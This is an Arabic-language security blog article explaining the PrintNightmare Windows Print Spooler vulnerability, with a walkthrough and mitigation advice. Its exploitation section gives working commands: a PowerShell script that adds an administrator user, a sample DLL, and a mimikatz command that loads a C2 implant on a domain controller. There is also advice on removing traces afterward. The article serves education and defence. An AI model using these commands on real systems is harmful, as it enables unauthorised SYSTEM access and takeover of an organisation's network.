استغلال ثغرة الـ Print Nightmare

18/07/2021
إياد المقحم و أسامة الغامدي


مُقدمة
سنُلخص في هذه المقالة عن ماهي ثغرة الـ Print Nightmare ومايُمكن أن تُؤدي اليه اذا تم استغلالها. سَنقوم أيضا بشرح خطوات استغلال الثغرة وكيفية الحماية منها.



خِدمة الـ Print Spooler في Windows
الـ Print Spooler (spoolsv.exe) في أنظمة Windows هي أحد الخدمات التي يوفرها النظام للتعامل مع الطابعة وطباعة المستندات. وصف الخدمة هو كالتالي:

"تعمل هذه الخدمة على تخزين مهام الطِباعة والتعامل مع الطابعة. إذا قمت بإيقاف هذه الخدمة، فلن تتمكن من الطباعة أو رؤية طابعاتك":
هذه الخدمة تعمل بشكل افتراضي على جميع أجهزة الـ Windows:
ثغرة الـ Print Nightmare
تتعلق بثغرتين مُتاشبهتين (CVE-2021-1675 و CVE-2021-34527) تُؤثران على خِدمة الـ Print Spooler في أنظمة Windows. تَسمح هذه الثغرة بالقيام بتصعيد الصلاحيات على الجهاز (Local Privilege Escalation) من صلاحية مستخدم عادي إلى صلاحية NT AUTHORITY\SYSTEM. يمكن أيضاً استغلال الثغرة عن بُعد (Remote Code Execution) للحصول على صلاحيات NT AUTHORITY\SYSTEM على الجهاز المُستهدف باستخدام صلاحية مستخدم عادي. هذا يعني بإمكان أي مُستخدم عادي استغلال الثغرة على الـ Domain Controller عن بُعد والسيطرة على كافة أجهزة المنظمة.



ماهُو الـ NT AUTHORITY\SYSTEM؟
يُعرف الـ NT AUTHORITY\SYSTEM أيضًا باسم حساب الكمبيوتر (Computer Account)—الحساب الذي يستخدمه نظام التشغيل للقيام بعملياته. يُعتبر هذا الحِساب هو الأعلى صلاحية على أجهزة Windows، وهو أعلى صلاحية من حساب مسؤول النظام (Administrator). حساب الـ SYSTEM، على سبيل المثال، يمكنه قراءة ملف الـ SAM في الـ Registry والذي يحتوي على معلومات مُستخدمي الجهاز والتي من ضمنها الكلمات السرية للمستخدمين على هيئة Hash. لايمكن لحساب مسؤول النظام (Administrator) قراءة هذه البيانات—ولكن يوجد طرق لتصعيد الصلاحية الى SYSTEM إذا كنت تمتلك صلاحية مسؤول النظام (Administrator).



عند التواصل مع أجهزة أخرى داخل الشبكة باستخدام حساب الـ SYSTEM، فأنت تتواصل باسم الجهاز نفسه. لذلك، إذا تم منح الجهاز صلاحيات على أجهزة أخرى داخل الشبكة، فيمكنك الوصول الى هذه الصلاحيات بتشغيل أوامر بصلاحيات SYSTEM—احتمالية للقيام بالتنقل الى اجهزة أخرى (Lateral Movement).

سترى الأجهزة الأخرى عند التواصل معها باستخدام حساب الـ SYSTEM بأن الجهاز نفسه يقوم بعملية التواصل (المُستخدم سيكون اسم الجهاز مَتبوعًا بعلامة الـ$ على هذه الهيئة: $COMPUTER):
استغلال الثغرة
سنقوم بتطبيق عملي لاستغلال الثغرة لكل نوعيها، عن طريق تصعيد الصلاحية على الجهاز نفسه (Local Privilege Escalation) وأيضا عن طريق استغلال الثغرة عن بُعد باستهداف الـ Domain Controller.



تصعيد الصلاحيات على الجهاز (Local Privilege Escalation)
أحد أكواد استغلال الثغرة مكتوب بلغة الـ PowerShell وموجود في هذه الصفحة. يُوفرهذا الكود خيارين لاستغلال الثغرة. الطريقة الأولى عن طريق إنشاء مستخدم جديد على الجهاز بصلاحيات مسؤول النظام (Administrator) بحيث يقوم الكود بإنشاء ملف من نوع DLL والذي يقوم بانشاء الحساب واضافته الى مجموعة مسؤولي النظام (Administrators Group).

مُلاحظة: سَيتم استخدام اسم المستخدم "adm1n" وكلمة المرور " P@ssw0rd" إذا لم يتم تزويدهما لأمر الاستغلال، والذي ينصح تجنبه:
لإضافة مُستخدم مسؤول جديد على الجهاز، يُمكنك استخدام الأمر التالي:
Import-Module .\CVE-2021-1675.ps1

Invoke-Nightmare –NewUser <username> -NewPassword <password>
الخيار الثاني لاسغلال الثغرة هو عن طريق توفير ملف الـ DLL مُباشرة للتنفيذ أثناء استغلال الثغرة بدلاً من إنشاء مستخدم مسؤول النظام. في هذا المثال، قمنا بكتابة ملف DLL بسيط والذي يقوم بطباعة ناتج الأمر whoami الى ملف في مُلجد المستخدم العام (Public User Folder):
#include "pch.h" 
#include "iostream"

int RunCMD()
{
    system("whoami > C:\\Users\\Public\\whoami.txt");
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        RunCMD();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
نقوم باستغلال الثغرة مرة أخرى ولكن باستخدام ملف الـ DLL الذي قمنا بكتابته بدلا من إنشاء مستخدم مسؤول نظام جديد (يجب استخدام المسار الكامل لملف الـ DLL في أمر الاستغلال):
بعد التنفيذ، نرا التأكيد بأننا نقوم بتشغيل أوامر عن طريق حساب النظام نفسه (SYSTEM):
استغلال الثغرة عن بُعد (Remote Code Execution)
يمكن استغلال الثغرة عن بُعد (Remote Code Execution) باستخدام mimikatz. هذا السيناريو يتضمن ثلاثة أجهزة:

WIN10: الجهاز الذي سيقوم باستغلال الثغرة عن بُعد باستخدام mimikatz. أيضًا هو نفس الجهاز الذي يستضيف ملف الـ DLL حتى يمكن للجهاز المُستغل سحب ملف الـ DLL. ملف الـ DLL هو عبارة عن C2 Implant.

DC: الجهاز المستهدف للاستغلال، الذي سيقوم بتحميل ملف الـ DLL من جهاز WIN10 والقيام بالاتصال بجهاز الـ C2.

C2 Server: الجهاز الذي سيقوم باستقبال الاتصال من جهاز الضحية (DC) للتحكم فيه عن بُعد.

يَتطلب للاستغلال مستخدم في الـ Active Directory. سنقوم باستخدام المُستخدم "vagrant " الذي يملك صلاحيات محدودة في المُنظمة:
قُمنا بإنشاء ملف الـ DLL الذي يقوم بالتواصل مع الـ C2 Server للتحكم بالجهاز المُستغل عن بعد ووضعه في SMB Share ليمكن للجهاز المُستغل الوصول اليه عند الاستغلال:
نقوم باستخدام mimikatz على جهاز WIN10 لاستغلال خدمة الـ Print Spooler على الـ Domain Controller (DC):
misc::printnightmare /server:dc.windomain.local /authdomain:windomain /authuser:vagrant /authpassword:vagrant /library:\\win10\share\c2.dll
بعد استغلال الثغرة، يقوم جهاز الـ DC بالاتصال بالـ C2 Server واعطائه صلاحيات SYSTEM للتحكم به عن بعد:
الاتصال تم عن طريق خدمة الـ Print Spooler (spoolsv.exe) على جهاز الـ DC:
إزالة الآثار بعد الاستغلال
من المهم إزالة أي آثار متروكة بعد عملية الاستغلال، خاصة عند القيام بإنشاء حساب مسؤول النظام على الجهاز.

إذا كان استغلال الثغرة عن طريق إنشاء مستخدم جديد، فيمكن إزالته عن طريق الأمر التالي باستخدام صلاحية مسؤول النظام (Administrator):
net user <user_created> /delete
أيضًا، ازالة ملفات الـ DLL التي تم إنشاؤها أثناء استغلال الثغرة. ملفات الـ DLL المُنشأة سَتكون موجودة في المجلد التالي:
C:\Windows\System32\spool\drivers\x64\3
الحماية من الثغرة
أفضل طريقة للحماية من ثغرة الـ Print Nightmare هو عن طريق تعطيل خدمة الـ Print Spooler اذا كان لايوجد حاجة لهذه الخدمة. تعطيل الخدمة يحمي الجهاز من الثغرة.

للقيام بإيقاف وتعطيل خدمة الـ Print Spooler:
Stop-Service Spooler –Verbose

Set-Service Spooler –StartType Disabled -Verbose
إذا كان هناك احتياج للخدمة ولايمكن تعطيلها، فيجب التأكد من تثبيت آخر تحديثات Windows واتباع الحلول المُعطاة من Microsoft:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527

خاتِمة
غَطت هذه المقالة ثغرة الـ Print Nightmare وإمكانية استغلالها بناءً على المعلومات المتوفرة حتى كتابة هذا التقرير. من المُهم البقاء على اطلاع على آخر التحديثات الأمنية التي تَخُص الثغرة من Microsoft لأي تطورات للثغرة أو المشاكل المتعلقة بها.

لمشاركة هذه المدونة
تابعنا
طور مهاراتك من خلال متابعة آخر منشورات فريقنا
مدونات آخرى